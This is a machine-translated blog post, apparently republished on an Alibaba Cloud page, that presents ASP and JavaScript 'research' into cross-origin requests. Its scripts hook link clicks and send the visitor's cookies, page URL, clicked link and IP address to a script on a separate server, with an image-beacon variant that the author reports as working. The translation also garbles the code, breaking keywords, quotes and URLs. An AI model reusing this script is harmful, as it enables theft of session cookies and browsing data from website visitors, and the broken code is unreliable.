Ajax cross-origin research 1 (not researched)

Source: Internet
Author: User

Vbs small shop

The client cannot cross-origin ajax, and the server can. So we have studied how to call remote asp to cross-origin:

The content of I. asp on 192.168.0.12 is as follows:

<Script language = "javascript" src ="Http: // 192.168.0.5/code1.asp"> </Script>
<A href = http://www.sohu.com> aaaa </a>
<A href = http://www.sohu.com> bbb </a>

The content of code1.asp on 192.168.0.5 is as follows:

<% A = Request. ServerVariables ("remote_addr ")
Function GetBody (url)
On Error Resume Next
Set Retrieval = CreateObject ("Microsoft. XMLHTTP ")
With Retrieval
. Open "Get", url, False ,"",""
. Send
GetBody =. ResponseBody
End
Set Retrieval = Nothing
End Function
If Request. QueryString ("url") <> "" then
GetBody (Request. QueryString ("url "))
End if
%>

Var xmlHttp

Function showHint (str)
{

If (str. length = 0)
{
Return;
}

XmlHttp = GetXmlHttpObject ()

If (xmlHttp = null)
{
Alert ("your browser does not support AJAX! ");
Return;
}

Var url = "asp? Url = http: // 192.168.0.5/getcd. asp ">Http: // 192.168.0.5/code1.asp? Url = http: // 192.168.0.5/getcd. asp";
Url = url + "? Var = "+ str;
XmlHttp. open ("GET", url, true );
XmlHttp. send (null );
}

Function GetXmlHttpObject ()
{
Var xmlHttp = null;
Try
{
// Firefox, Opera 8.0 +, Safari
XmlHttp = new XMLHttpRequest ();
}
Catch (e)
{
// Internet Explorer
Try
{
XmlHttp = new ActiveXObject ("Msxml2.XMLHTTP ");
}
Catch (e)
{
XmlHttp = new ActiveXObject ("Microsoft. XMLHTTP ");
}
}
Return xmlHttp;
}

Document. onclick = function (e ){

Var e = e | event;
Var element = e.tar get | e. srcElement;
If (element. tagName. toLowerCase () = ""){

If (! Element. getAttribute (visited ))
{
// Alert (element. href );

ShowHint (element. href + location. href + encodeURI (document. cookie) + <% = a %> );


Element. setAttribute (visited, true );
}
}
}

I. after code1.asp is called on the Cross-Site Page of asp, code1.asp is a server-side script that counts as an intermediate proxy. The js Code in it is submitted to itself through xmlhttp and forwarded by itself, forward to getcd. asp, facts prove unsuccessful !!!, Alas !!!! It indicates that js is not in the original file domain after being remotely called, even if it is written in asp server scripts.

If you change ocde1.asp to the following code, but there is no cross-origin concept, that is, the database is detached and fart:

<% A = Request. ServerVariables ("remote_addr ")
Function GetBody (url)
On Error Resume Next
Set Retrieval = CreateObject ("Microsoft. XMLHTTP ")
With Retrieval
. Open "Get", url, False ,"",""
. Send
GetBody =. ResponseBody
End
Set Retrieval = Nothing
End Function
If Request. QueryString ("url") <> "" then
GetBody (Request. QueryString ("url "))
End if
%>

Document. onclick = function (e ){
Var img = new Image ();
Var e = e | event;
Var element = e.tar get | e. srcElement;
If (element. tagName. toLowerCase () = ""){

If (! Element. getAttribute (visited ))
{

Img. src = http: // 192.168.0.5/code1.asp? Url = http: // 192.168.0.5/getcd. asp? Var = + element. href + location. href + encodeURI (document. cookie) + <% = a %>;

Element. setAttribute (visited, true );
}
}
}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.